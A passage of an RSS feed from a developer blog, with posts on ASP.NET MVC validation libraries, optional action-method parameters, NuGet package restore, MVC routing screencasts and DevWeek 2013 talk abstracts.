				<content:encoded><![CDATA[<div style="width:100%;text-align:center;margin-bottom:25px;background-color:black;padding-top:2px;border:2px solid gray;"><a title="Join the instructor-supported online learning revolution." href="https://learninglineapp.com/tasks/78/validating-user-input-with-data-annotations" target="_blank"><img alt="" height="75" src="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" border="0" /></a></div>
<div>
<p>The goal of this post is to show you validation options beyond those that come in-the-box from Microsoft and the ASP.NET team.</p>
<p>Currently, there are <a href="http://msdn.microsoft.com/en-us/library/system.componentmodel.dataannotations.validationattribute.aspx#inheritanceContinued" target="_blank">nine pre-built validation attributes</a> that come with MVC:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/01/hierarchy.png"><img class="alignnone size-full wp-image-772" alt="hierarchy" src="http://michaelckennedy.files.wordpress.com/2013/01/hierarchy.png?w=584"   /></a></p>
<p>While these are very helpful, knowing where to look to find additional validation options is super helpful. For example, what if the <strong>State</strong> property is only supposed to be required if <strong>Country</strong> property is set to USA? Good luck with that one!<span id="more-771"></span></p>
<p>So in this post, I will point you at a few open-source DataAnnotation libraries built for MVC.</p>
<p>The first to check is FoolProof:</p>
<p><a href="http://foolproof.codeplex.com/" target="_blank">http://foolproof.codeplex.com/</a></p>
<p>Jump over there and browse through the various attributes available. There are a bunch, such as <strong>RequiredIfTrue</strong>. Like so many things with ASP.NET MVC, the way to add foolproof to your project is to use NuGet. Just fire it up and search for FoolProof:</p>
<p><a href="http://michaelckennedy.files.wordpress.com/2013/01/nuget-foolproof.png"><img class="alignnone size-large wp-image-773" alt="nuget-foolproof" src="http://michaelckennedy.files.wordpress.com/2013/01/nuget-foolproof.png?w=584&#038;h=349" width="584" height="349" /></a></p>
<p>Foolproof is great for dependent validation scenarios such as this field is required if that field is checked or something like that.</p>
<p>Next up, <strong>DataAnnotationsExtensions</strong>:</p>
<p><a href="http://dataannotationsextensions.org/" target="_blank">http://dataannotationsextensions.org/</a></p>
<p><a href="http://dataannotationsextensions.org/" target="_blank">DataAnnotationsExtensions</a> is a nice one as well. This library is focused more on validating certain data types: credit cards, dates, urls, etc. Again, it&#8217;s available from NuGet. This time you probably want to reference <strong>DataAnnotationsExtensions.MVC3</strong> rather than the base project.</p>
<p>Finally, let&#8217;s look at <strong>Moon.Validation</strong>:</p>
<p><a href="http://git.mooncode.net/moon.validation/src/b96e59e83e00531881f065e3144d543fdd975705/Projects/Moon.Validation?at=master" target="_blank">http://git.mooncode.net/moon.validation</a></p>
<p>Look at the files there that end in &#8220;Attribute&#8221;. Again, there are some nice, dependent validation attributes here.</p>
<p>I hope that gives you a sense of what&#8217;s out there beyond just the built-in validation options. I&#8217;m sure there are a bunch of projects that I missed. If you know of any, add a comment with a link and why you like it!</p>
<p>Cheers,<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></div>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/open-source/'>Open Source</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/tips/'>tips</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/771/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/771/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=771&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/01/15/3-open-source-validation-projects-for-asp-net-mvc/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" medium="image" />

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/01/hierarchy.png" medium="image">
			<media:title type="html">hierarchy</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2013/01/nuget-foolproof.png?w=584" medium="image">
			<media:title type="html">nuget-foolproof</media:title>
		</media:content>
	</item>
		<item>
		<title>Screencast &#8211; Validating ASP.NET MVC Forms with DataAnnotations</title>
		<link>http://blog.michaelckennedy.net/2013/01/11/screencast-validating-asp-net-mvc-forms-with-dataannotations/</link>
		<comments>http://blog.michaelckennedy.net/2013/01/11/screencast-validating-asp-net-mvc-forms-with-dataannotations/#comments</comments>
		<pubDate>Fri, 11 Jan 2013 13:37:14 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Video]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=768</guid>
		<description><![CDATA[Here&#8217;s a new screencast for you MVC guys and gals out there. Validating ASP.NET MVC Forms with DataAnnotations In this short screencast, I will show you how to leverage ASP.NET MVC&#8217;s excellent model binding as well as the DataAnnotations attributes to &#8230; <a href="http://blog.michaelckennedy.net/2013/01/11/screencast-validating-asp-net-mvc-forms-with-dataannotations/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=768&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Here&#8217;s a new screencast for you MVC guys and gals out there.</p>
<p><strong>Validating ASP.NET MVC Forms with DataAnnotations</strong></p>
<p>In this short screencast, I will show you how to leverage ASP.NET MVC&#8217;s excellent model binding as well as the DataAnnotations attributes to easily add both server-side and client-side validation for MVC websites.</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/Nf617_tjUtc?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;hd=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/video/'>Video</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/video/'>Video</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/768/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/768/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=768&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2013/01/11/screencast-validating-asp-net-mvc-forms-with-dataannotations/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Tips for optional parameters to ASP.NET MVC action methods</title>
		<link>http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/</link>
		<comments>http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/#comments</comments>
		<pubDate>Fri, 21 Dec 2012 21:57:01 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[LearningLine]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=753</guid>
		<description><![CDATA[Here&#8217;s a quick ASP.NET MVC tip to help you be more productive and write cleaner code. We will see how to leverage C# 4&#8242;s optional and default parameters in our action methods for greatly simplifying our code while keeping it fully functional &#8230; <a href="http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=753&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<div style="width:100%;text-align:center;margin-bottom:25px;background-color:black;padding-top:2px;border:2px solid gray;"><a title="Join the instructor-supported online learning revolution." href="https://learninglineapp.com/tasks/134/handle-parameters-from-a-url-routing-in-mvc" target="_blank"><img alt="" height="75" src="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" border="0" /></a></div>
<p>Here&#8217;s a quick ASP.NET MVC tip to help you be more productive and write cleaner code. We will see how to leverage C# 4&#8242;s optional and default parameters in our action methods for greatly simplifying our code while keeping it fully functional and error free.</p>
<p>Often you want to pass data to your controllers based on URL parameters. This can either be part of the URL itself in the case of route data or it can be part of the query string. In fact, this tip even works for input forms.</p>
<p>Let&#8217;s take a basic method which shows some census data, potentially filtered and sorted if that information is passed along, otherwise we&#8217;ll just show everything with a default sort.</p>
<p><a href="http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/value-types/" rel="attachment wp-att-758"><img class="alignnone size-full wp-image-758" alt="value-types" src="http://michaelckennedy.files.wordpress.com/2012/12/value-types.png?w=584&#038;h=92" width="584" height="92" /><span id="more-753"></span></a></p>
<p>This looks great, right? If you had a URL such as</p>
<p><strong>    /census/detailsvaltype/1?sortAscending=false</strong></p>
<p>It would work perfectly. But what if we omit sortAscending? Well, bool is a value type and doesn&#8217;t like missing data much:</p>
<p><a href="http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/crash/" rel="attachment wp-att-759"><img class="alignnone size-full wp-image-759" alt="crash" src="http://michaelckennedy.files.wordpress.com/2012/12/crash.png?w=584&#038;h=722" width="584" height="722" /></a></p>
<p>I&#8217;m just guessing, but most users don&#8217;t love this page.</p>
<p>So we can make the parameters strings (no MVC conversion required, missing data can be detected, etc.) like this. But notice how ugly and complex the code becomes<a href="http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/nullables-with-convert/" rel="attachment wp-att-757"><img class="alignnone size-full wp-image-757" alt="nullables-with-convert" src="http://michaelckennedy.files.wordpress.com/2012/12/nullables-with-convert.png?w=584&#038;h=286" width="584" height="286" /></a></p>
<p>Yikes, we went from 1 line of code to many! However, (here&#8217;s the point of this post), let&#8217;s try that again with <a href="http://msdn.microsoft.com/en-us/library/dd264739.aspx" target="_blank">optional parameters</a>:</p>
<p><a href="http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/optinoal-params/" rel="attachment wp-att-754"><img class="alignnone size-full wp-image-754" alt="optinoal-params" src="http://michaelckennedy.files.wordpress.com/2012/12/optinoal-params.png?w=584&#038;h=75" width="584" height="75" /></a></p>
<p>Almost as simple as the naive version. However, you see making the request with and without data works perfectly! In fact, the data passed to GetDataAndResult are the same here as for the complex variant.</p>
<p><strong>With Data (filtered and ordered)</strong>:<br />
<strong>/census/detailsoptionaldefault/1?sortAscending=false</strong></p>
<p><a href="http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/filtered-data/" rel="attachment wp-att-760"><img class="alignnone size-full wp-image-760" alt="filtered-data" src="http://michaelckennedy.files.wordpress.com/2012/12/filtered-data.png?w=584&#038;h=716" width="584" height="716" /></a></p>
<p><strong>Without Data (unfiltered and default order)</strong>:<br />
<strong>/census/detailsoptionaldefault</strong></p>
<p><strong><a href="http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/with-no-data/" rel="attachment wp-att-761"><img class="alignnone size-full wp-image-761" alt="with-no-data" src="http://michaelckennedy.files.wordpress.com/2012/12/with-no-data.png?w=584&#038;h=716" width="584" height="716" /></a></strong></p>
<p>How about that? Hope you find that useful! You can download the code and try it for yourself here: <a href="https://s3.amazonaws.com/michael-kennedy/blog/Optional-Parameters-MVC-Kennedy/OptionalParamsKennedy.zip" target="_blank">OptionalParamsKennedy.zip</a></p>
<p>Cheers,<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/articles/'>Articles</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/learningline/'>LearningLine</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/tips/'>tips</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/753/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/753/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=753&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/12/21/tips-for-optional-parameters-to-asp-net-mvc-action-methods/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://s3.amazonaws.com/michael-kennedy/blog/images/LearningLine-featured-content.png" medium="image" />

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/value-types.png" medium="image">
			<media:title type="html">value-types</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/crash.png" medium="image">
			<media:title type="html">crash</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/nullables-with-convert.png" medium="image">
			<media:title type="html">nullables-with-convert</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/optinoal-params.png" medium="image">
			<media:title type="html">optinoal-params</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/filtered-data.png" medium="image">
			<media:title type="html">filtered-data</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/with-no-data.png" medium="image">
			<media:title type="html">with-no-data</media:title>
		</media:content>
	</item>
		<item>
		<title>Use NuGet package restore to simplify code sharing</title>
		<link>http://blog.michaelckennedy.net/2012/12/17/use-nuget-package-restore-to-simplify-code-sharing/</link>
		<comments>http://blog.michaelckennedy.net/2012/12/17/use-nuget-package-restore-to-simplify-code-sharing/#comments</comments>
		<pubDate>Mon, 17 Dec 2012 22:42:43 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Open Source]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=741</guid>
		<description><![CDATA[Here&#8217;s a quick post on how and why you want to consider using NuGet package restore. First, if you&#8217;re unfamiliar with NuGet, it&#8217;s basically &#8220;add reference&#8221; to external software projects (typically open source ones such as jQuery, but also for Microsoft ones such as &#8230; <a href="http://blog.michaelckennedy.net/2012/12/17/use-nuget-package-restore-to-simplify-code-sharing/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=741&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Here&#8217;s a quick post on how and why you want to <em>consider </em>using NuGet package restore.</p>
<p>First, if you&#8217;re unfamiliar with NuGet, it&#8217;s basically &#8220;add reference&#8221; to external software projects (typically open source ones such as jQuery, but also for Microsoft ones such as Entity Framework). You definitely need to check out <a href="http://blogs.msdn.com/b/davidebb/archive/2010/10/05/introducing-nupack-the-smart-way-to-bring-bits-into-your-projects.aspx" target="_blank">David Ebbo&#8217;s post introducing it</a>. NuGet will change the way you develop.</p>
<p>Now when using NuGet it maintains a <strong>packages</strong> folder near your solution file. For things like ASP.NET MVC that heavily leverage NuGet, you&#8217;ll see this folder is very large. It&#8217;s usually much larger than your project itself in the beginning.</p>
<p>If you write small projects and share them out as compressed files (e.g. zip&#8217;s), and size matters to you, you might want to consider enabling NuGet package restore (off by default) for those projects and delete the packages folder before zipping and sending it out.</p>
<p>As an example, with a typical MVC 4 project, the &#8220;raw&#8221; content is 680 KB. After doing a build and counting the packages folder you&#8217;ll see it jumps to 16.9 MB. If that helps you significantly, then it&#8217;s probably a good idea to use package restore.</p>
<p>Three things have to happen to use NuGet package restore.<span id="more-741"></span></p>
<p>First, you&#8217;ll need to make sure <strong>everyone</strong> who downloads your zip file has &#8220;<em>Allow NuGet to download packages during build</em>&#8221; enabled in Visual Studio under<strong> Tools&gt;Options&gt;Package Manager</strong>.</p>
<p><a href="http://blog.michaelckennedy.net/2012/12/17/use-nuget-package-restore-to-simplify-code-sharing/enable-global/" rel="attachment wp-att-745"><img class="alignnone size-full wp-image-745" alt="enable-global" src="http://michaelckennedy.files.wordpress.com/2012/12/enable-global.png?w=584&#038;h=349" width="584" height="349" /></a></p>
<p>The next set of steps are only done by the you &#8211; the one sharing the code. Right-click on the solution file and choose enable package restore:</p>
<p><a href="http://blog.michaelckennedy.net/2012/12/17/use-nuget-package-restore-to-simplify-code-sharing/enable/" rel="attachment wp-att-743"><img class="alignnone size-full wp-image-743" alt="enable" src="http://michaelckennedy.files.wordpress.com/2012/12/enable.png?w=584&#038;h=274" width="584" height="274" /></a></p>
<p>After doing this, you&#8217;ll see 3 new files in your solution:</p>
<p><a href="http://blog.michaelckennedy.net/2012/12/17/use-nuget-package-restore-to-simplify-code-sharing/sol2/" rel="attachment wp-att-744"><img class="alignnone size-full wp-image-744" alt="sol2" src="http://michaelckennedy.files.wordpress.com/2012/12/sol2.png?w=584"   /></a></p>
<p>Finally, when you zip and share your code, be sure to include the .nuget folder but not the packages folder (and maybe not the bin and obj either).</p>
<p>Now I did say at the beginning why to consider this, not just you should use it as a blanket statement. This whole workflow was introduced for <a href="http://docs.nuget.org/docs/workflows/using-nuget-without-committing-packages" target="_blank">simplifying source code management</a>. Two reasons that come to mind right away to <strong>not</strong> use package restore are:</p>
<ol>
<li><span style="line-height:15px;"><span style="line-height:15px;">If not many of your users / readers / downloaders have package restore enabled globally it might be more effort than its worth.</span></span></li>
<li>In the source code scenario, you are dependent on NuGet keeping the right version around forever. Suppose you want to roll-back to the way the code was 2 years ago (some time in the future). It might be safer to have the packages folder just checked in so you&#8217;re sure it gets versioned and labeled exactly right.</li>
</ol>
<p>Hope that&#8217;s useful to you!</p>
<p>Cheers,<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/open-source/'>Open Source</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/tips/'>tips</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/741/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/741/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=741&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/12/17/use-nuget-package-restore-to-simplify-code-sharing/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/enable-global.png" medium="image">
			<media:title type="html">enable-global</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/enable.png" medium="image">
			<media:title type="html">enable</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/12/sol2.png" medium="image">
			<media:title type="html">sol2</media:title>
		</media:content>
	</item>
		<item>
		<title>Attend my sessions at DevWeek 2013 in London</title>
		<link>http://blog.michaelckennedy.net/2012/12/04/attend-my-sessions-at-devweek-2013-in-london/</link>
		<comments>http://blog.michaelckennedy.net/2012/12/04/attend-my-sessions-at-devweek-2013-in-london/#comments</comments>
		<pubDate>Tue, 04 Dec 2012 19:39:05 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Speaking]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Conferences]]></category>
		<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[NoSQL]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=737</guid>
		<description><![CDATA[Want to see some of the topics covered in my blog presented live and in-person? Make your way to London in March 2013 to DevWeek! I&#8217;ll be presenting 4 sessions covering NoSQL, ASP.NET MVC, and Cloud (Auzre and AWS mostly). &#8230; <a href="http://blog.michaelckennedy.net/2012/12/04/attend-my-sessions-at-devweek-2013-in-london/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=737&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Want to see some of the topics covered in my blog presented live and in-person? Make your way to London in March 2013 to <a href="http://www.devweek.com/">DevWeek</a>! I&#8217;ll be presenting 4 sessions covering NoSQL, ASP.NET MVC, and Cloud (Auzre and AWS mostly). Details below.</p>
<p><a href="http://www.devweek.com/"><img class="alignnone" alt="" src="http://www.devweek.com/pix/dwbanner2013b.jpg" /><span id="more-737"></span></a><strong>Sessions</strong>:</p>
<p><strong>Building Rich Input Forms in ASP.NET MVC</strong></p>
<p>ASP.NET MVC has gained broad adoption over the last year. This is in part due to it’s clean and simple design. However, one aspect that new-comers typically get hung up on is building pages that accept user input in various manners. In this talk we will explore the powerful features of ASP.NET MVC that allow us to build rich forms that accept user input. We&#8217;ll begin by discussing the built-in HTML Helpers and Model Binding. Next we&#8217;ll add validation and show how we can do both client- and server-side validation using DataAnnotations. We&#8217;ll see that sometimes using domain models as our form-bound objects doesn&#8217;t make sense and so we will cover more advanced scenarios using View Models. Finally, time permitting, we’ll see how client-side programming with JavaScript and jQuery can take this even farther.</p>
<p><strong>Applied NoSQL in .NET</strong></p>
<p>Perhaps you’ve heard about the next generation of databases roughly classified as NoSQL databases? These databases are generally much better than RDBMS at scaling, performance, and easy-of-development (i.e. in NoSQL the object-relational impedance mismatch usually disappears). Unfortunately, many talks on NoSQL are very academic and general. Not this one.</p>
<p>In this talk, we’ll explore the NoSQL landscape and look at the the various options out there. Then we’ll learn how to leverage MongoDB (a popular NoSQL DB) to build .NET applications using LINQ as the data access language. From there we will build out a .NET application using LINQ and MongoDB in a series of interactive demos using Visual Studio 2012 and C#.</p>
<p><strong>Getting Serious About The Cloud &#8211; For Developers</strong></p>
<p>You’ve been hearing all about “the cloud” for several years now. Maybe now is the time to take the leap and get started developing for this next-generation platform. That’s what this talk is all about. Learn what options you have for cloud hosting (and the related trade-offs). See how to create and host applications in the cloud. And learn about the tricks the pros use to achieve the scalability and durability promised by all the hype.</p>
<p><strong><br />
(At Least) 9 Ways Your Brand New ASP.NET MVC Project Can Be Better</strong></p>
<p>So you’re ready to start that new and ambitious ASP.NET MVC project. Maybe you’re kicking off a new startup or just finally moving that old-and-crusty webforms project into modern development world. Either way, this talk will give you some easy things you can do immediately after creating that new MVC project that you will thank yourself for as your project grows in complexity.</p>
<p>Cheers,<br />
<a href="http://twitter.com/mkennedy">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/speaking/'>Speaking</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/conferences/'>Conferences</a>, <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/speaking/'>Speaking</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/737/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/737/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=737&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/12/04/attend-my-sessions-at-devweek-2013-in-london/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://www.devweek.com/pix/dwbanner2013b.jpg" medium="image" />
	</item>
		<item>
		<title>Introduction to ASP.NET MVC Routes</title>
		<link>http://blog.michaelckennedy.net/2012/12/03/introduction-to-asp-net-mvc-routes/</link>
		<comments>http://blog.michaelckennedy.net/2012/12/03/introduction-to-asp-net-mvc-routes/#comments</comments>
		<pubDate>Mon, 03 Dec 2012 18:19:35 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Video]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Screencasts]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=734</guid>
		<description><![CDATA[Here&#8217;s another screencast, this time on MVC and routing. In this short screencast, I&#8217;ll show you everything you need to know to get started with ASP.NET MVC routing. You&#8217;ll see how default routes in MVC map to controllers and actions. &#8230; <a href="http://blog.michaelckennedy.net/2012/12/03/introduction-to-asp-net-mvc-routes/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=734&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Here&#8217;s another screencast, this time on MVC and routing.</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/h_ARwj4_-fk?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;hd=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>In this short screencast, I&#8217;ll show you everything you need to know to get started with ASP.NET MVC routing. You&#8217;ll see how default routes in MVC map to controllers and actions. Next you&#8217;ll see how to map additional data from query-strings in addition to simple route data. Finally, we&#8217;ll create a custom route to pass additional data in a clean, URL based manor.</p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/video/'>Video</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/734/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/734/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=734&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/12/03/introduction-to-asp-net-mvc-routes/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
